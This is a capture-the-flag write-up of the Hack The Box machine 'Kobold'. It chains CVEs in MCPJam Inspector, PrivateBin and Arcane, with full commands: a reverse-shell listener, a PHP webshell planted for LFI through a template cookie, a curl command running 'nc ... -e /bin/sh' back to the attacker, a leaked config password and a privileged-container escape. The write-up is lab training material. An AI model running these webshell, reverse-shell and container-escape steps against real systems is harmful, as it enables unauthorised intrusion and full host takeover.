kobold
Kobold
Before starting, I’d like to mention that the workflow of pwning a machine on HTB is similar to doing a pentest on a web application, except it’s usually smaller in scope, and the depth depends on both the difficulty of the machine and the point/lesson behind it.
When starting any machine you’re only given an IP address and the name of the machine — that’s all. So with that, we start with:
Enumeration process
The first thing to run is an Nmap scan in order to figure out which network ports are open on the target.
┌─[s4l1@parrot]─[~]
└──╼ $sudo nmap -sC -Pn -n -p- --open -T4 --max-retries 2 --max-rtt-timeout 1s --min-rate 2000 10.129.245.50
Starting Nmap 7.95 ( https://nmap.org ) at 2026-08-06 17:27 CET
Nmap scan report for 10.129.245.50
Host is up (0.13s latency).
Not shown: 65531 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
| ssh-hostkey:
| 256 8c:45:12:36:03:61:de:0f:0b:2b:c3:9b:2a:92:59:a1 (ECDSA)
|_ 256 d2:3c:bf:ed:55:4a:52:13:b5:34:d2:fb:8f:e4:93:bd (ED25519)
80/tcp open http
|_http-title: Did not follow redirect to https://kobold.htb/
443/tcp open https
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
| http/1.1
| http/1.0
|_ http/0.9
|_http-title: Did not follow redirect to https://kobold.htb/
| ssl-cert: Subject: commonName=kobold.htb
| Subject Alternative Name: DNS:kobold.htb, DNS:*.kobold.htb
| Not valid before: 2026-03-15T15:08:55
|_Not valid after: 2125-02-19T15:08:55
3552/tcp open taserver
Nmap done: 1 IP address (1 host up) scanned in 18.96 seconds
Flags used: -sC runs default Nmap scripts against open ports, -Pn skips host discovery/pinging since we already know the host is up, -n disables reverse DNS resolution to speed things up and cut unnecessary packets, -p- scans all 65535 ports, --open only shows open ports, -T4 speeds up timing, --max-retries 2 and --max-rtt-timeout 1s cap how long Nmap waits on unresponsive ports, and --min-rate 2000 forces a minimum packet send rate.
We got 4 open ports: port 22 for SSH, port 80 for HTTP, port 443 for HTTPS, and port 3552 which looks like a custom server. For ports 80 and 443, we need to add the IP and the discovered domain kobold.htb to /etc/hosts so our system resolves it correctly:
echo "10.129.245.50 kobold.htb" | sudo tee -a /etc/hosts
As for port 3552, browsing to http://10.129.245.50:3552/ shows an Arcane login page, version 1.13.0. Looking it up, it has a severe CVE, CVE-2026-23944, an authentication bypass in Arcane’s environment proxy middleware that lets unauthenticated attackers proxy requests to remote environment agents. For now it doesn’t matter much since we still don’t have access to its management page — I ended up not needing it, since credential reuse got me in later (see Privesc).
Back to the main site, kobold.htb — it looks like a container management webapp soon to be released, which makes sense given they’re using Arcane. The only interesting thing on the page is an email: admin@kobold.htb, noted for later.
Next, I used Gobuster to enumerate vhosts to discover additional sites on the same server, DNS subdomains to identify other subdomains belonging to the target, and directories to uncover hidden folders/files on the website.
┌─[s4l1@parrot]─[~]
└──╼ $gobuster vhost -u https://kobold.htb \
-w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
--append-domain \
-k -t 50 \
--exclude-length 178
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: https://kobold.htb
[+] Method: GET
[+] Threads: 50
[+] Wordlist: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
[+] Append Domain: true
[+] Exclude Length: 178
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
Found: bin.kobold.htb Status: 200 [Size: 24402]
Found: mcp.kobold.htb Status: 200 [Size: 466]
Progress: 5000 / 5001 (99.98%)
===============================================================
Finished
===============================================================
Both the DNS and directory enumeration returned nothing, so I didn’t include them. We now have two additional vhosts, bin and mcp — just like before, we need to add these to /etc/hosts as well.
Accessing mcp.kobold.htb in the browser shows an MCP Jam Inspector instance. Checking its settings, the version is v1.4.2. Looking it up, I found a matching CVE:
https://github.com/suljov/CVE-2026-23744-Remote-Code-Execution-POC
CVE-2026-23744 is an RCE (Remote Code Execution) vulnerability — MCPJam Inspector’s /api/mcp/connect endpoint listens on 0.0.0.0 by default with no authentication, letting an attacker send a crafted HTTP request that triggers installation of a malicious MCP server, leading to arbitrary command execution. Remote Code Execution generally allows an attacker to make a remote server execute arbitrary commands or code, which often leads to gaining a shell on the target machine.
Foothold
I cloned the repo and edited the exploit to point at my listener: my IP (grabbed from ifconfig on tun0) and port 4444, which I typically use for listeners, with mcp.kobold.htb set as the target.
┌─[s4l1@parrot]─[~/CVE-2026-23744-Remote-Code-Execution-POC]
└──╼ $python3 exploit.py
/usr/lib/python3/dist-packages/urllib3/connectionpool.py:1109: InsecureRequestWarning: Unverified HTTPS request is being made to host 'mcp.kobold.htb'. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#tls-warnings
warnings.warn(
I received a connection and immediately upgraded it to a full TTY with Python, since on a past machine I kept getting disconnected every minute without doing this:
┌─[s4l1@parrot]─[~]
└──╼ $nc -lvnp 4444
Listening on 0.0.0.0 4444
Connection received on 10.129.245.50 33336
python3 -c 'import pty;pty.spawn("/bin/bash")'
ben@kobold:/usr/local/lib/node_modules/@mcpjam/inspector$ id
id
uid=1001(ben) gid=1001(ben) groups=1001(ben),37(operator)
ben@kobold:/usr/local/lib/node_modules/@mcpjam/inspector$ pwd
pwd
/usr/local/lib/node_modules/@mcpjam/inspector
ben@kobold:/usr/local/lib/node_modules/@mcpjam/inspector$ ls
ls
LICENSE README.md assets bin dist node_modules package.json
ben@kobold:/usr/local/lib/node_modules/@mcpjam/inspector$ ls /home
ls /home
alice ben
ben@kobold:/usr/local/lib/node_modules/@mcpjam/inspector$ ls /home/ben
ls /home/ben
user.txt
ben@kobold:/usr/local/lib/node_modules/@mcpjam/inspector$ cat /home/ben/user.txt
<e_modules/@mcpjam/inspector$ cat /home/ben/user.txt
7fadef95d17984b0147b5e9e4a78fbb7
ben@kobold:/usr/local/lib/node_modules/@mcpjam/inspector$
Just like that, I got user.txt.
Privesc
Now that I have access to the target machine, the next step is to focus on enumeration and gaining root — but I still had the bin vhost left to check out.
Looking it up in a browser, it’s PrivateBin v2.0.2.
PrivateBin is a website for securely sharing text. You write or paste your content, and it’s encrypted before being stored on the server. The site then gives you a unique link to share — anyone with that link can view the content, while people without it cannot.
Looking it up, I found a CVE related to an LFI. Local File Inclusion is a vulnerability that lets an attacker read local files on the server by manipulating a file path parameter. This can expose sensitive information and, in some cases, be leveraged to achieve RCE.
https://github.com/Medaz-Sploit/CVE-2025-64714-privatebin-2.0.2-PoC/tree/main
Following the steps from the PoC:
Step 1 - drop the webshell from the host (shell as ben):
ben@kobold:~$ cd /
cd /
ben@kobold:/$ ls
ls
app cdrom home lost+found opt root snap tmp
bin dev lib media privatebin-data run srv usr
boot etc lib64 mnt proc sbin sys var
ben@kobold:/$ cd privatebin-data
cd privatebin-data
ben@kobold:/privatebin-data$ cd data
cd data
ben@kobold:/privatebin-data/data$ ls
ls
12 bd e3 purge_limiter.php salt.php traffic_limiter.php
ben@kobold:/privatebin-data/data$ echo '<?php system($_GET[0]);?>' > shell.php
</data$ echo '<?php system($_GET[0]);?>' > shell.php
ben@kobold:/privatebin-data/data$ ls
ls
12 bd e3 purge_limiter.php salt.php shell.php traffic_limiter.php
ben@kobold:/privatebin-data/data$ cat shell.php
cat shell.php
<?php system($_GET[0]);?>
Step 2 - LFI via template cookie (attacking machine):
┌─[s4l1@parrot]─[~]
└──╼ $curl -s -k --cookie 'template=../data/shell' -G --data-urlencode "0=id" https://bin.kobold.htb
uid=65534(nobody) gid=82(www-data) groups=82(www-data)
The webshell is written to a shared volume between ben’s home and the PrivateBin container. The LFI via the template cookie then loads that shell — we’re now running code inside PrivateBin as www-data.
Step 3 - get a shell:
On the first terminal I send the PHP shell a command to connect back to my listener:
┌─[s4l1@parrot]─[~]
└──╼ $curl -s -k --cookie 'template=../data/shell' -G --data-urlencode "0=nc 10.10.17.14 1234 -e /bin/sh" https://bin.kobold.htb
On the second terminal I catch the connection and start working with it:
┌─[s4l1@parrot]─[~]
└──╼ $nc -lvnp 1234
Listening on 0.0.0.0 1234
Connection received on 10.129.53.30 36975
id
uid=65534(nobody) gid=82(www-data) groups=82(www-data)
ls /srv/cfg/conf.php
/srv/cfg/conf.php
cat /srv/cfg/conf.php
;<?php http_response_code(403); /*
; config file for PrivateBin
;
; An explanation of each setting can be find online at https://github.com/PrivateBin/PrivateBin/wiki/Configuration.
[main]
; (optional) set a project name to be displayed on the website
; name = "PrivateBin"
; The full URL, with the domain name and directories that point to the
; PrivateBin files, including an ending slash (/). This URL is essential to
; allow Opengraph images to be displayed on social networks.
; basepath = "https://privatebin.example.com/"
#this is a long file containing lots of users and pwds
I went straight for /srv/cfg/conf.php, as previously mentioned in the GitHub PoC:
#this is what matters to us:
[model]
; example of DB configuration for MySQL
; Temporarily disabling while we migrate to new server for loadbalancing
;class = Database
[model_options]
dsn = "mysql:host=localhost;dbname=privatebin;charset=UTF8"
tbl = "privatebin_" ; table prefix
usr = "privatebin"
pwd = "ComplexP@sswordAdmin1928"
opt[12] = true ; PDO::ATTR_PERSISTENT
;[model]
; example of DB configuration for PostgreSQL
;class = Database
;[model_options]
;dsn = "pgsql:host=localhost;dbname=privatebin"
;tbl = "privatebin_" ; table prefix
;usr = "privatebin"
;pwd = "Z3r0P4ss"
;opt[12] = true ; PDO::ATTR_PERSISTENT
Back to Arcane on port 3552: the default username is arcane, and trying passwords from what we’ve gathered, we land a working combo — ComplexP@sswordAdmin1928.
Once logged into Arcane, I set up a new container with privileged mode enabled and specified the user as 0 (root). Privileged mode + a bind mount gave me access to the host’s filesystem under /host:
/var/www # id
uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
/var/www # ls /host/root
arcane_linux_amd64 data root.txt
/var/www # cat /host/root/root.txt
8047af85279e13d3b3b1d555f57f758c
Why did this work? When creating the container, I enabled privileged mode in the network/security settings. A privileged container shares the host’s kernel and device access, and combined with the /host bind mount, that gave direct read/write access to the host’s root filesystem — effectively full container escape.
Flags
- User: 7fadef95d17984b0147b5e9e4a78fbb7
- Root: 8047af85279e13d3b3b1d555f57f758c
Notes
I learned that if a site force-redirects HTTP to HTTPS (e.g. a 301 Moved Permanently), it can break the enumeration process of some tools — for Gobuster, for example, I needed to add the --exclude-length flag to filter out the redirect responses.
This box was basically three CVEs chained back to back (Arcane, MCPJam Inspector, PrivateBin), which reinforced that checking every fingerprinted version against known CVEs, not just the obvious service, is worth doing every time.
When reusing credentials, it’s important not only to try usernames from found configs, but also to Google the default accounts for a specific product. A quick search for “Arcane default credentials” leads to documentation and GitHub Discussions — the default login is: arcane / arcane-admin.
The LFI here was through the template cookie, not a URL or POST param — a reminder to check cookies and headers for path-traversal-style inputs, not just the obvious request fields.
Privileged mode on a container platform is basically game over if you can also control bind mounts — mounting the host root as /host inside a privileged container gave direct read/write to the host filesystem, no further exploitation needed.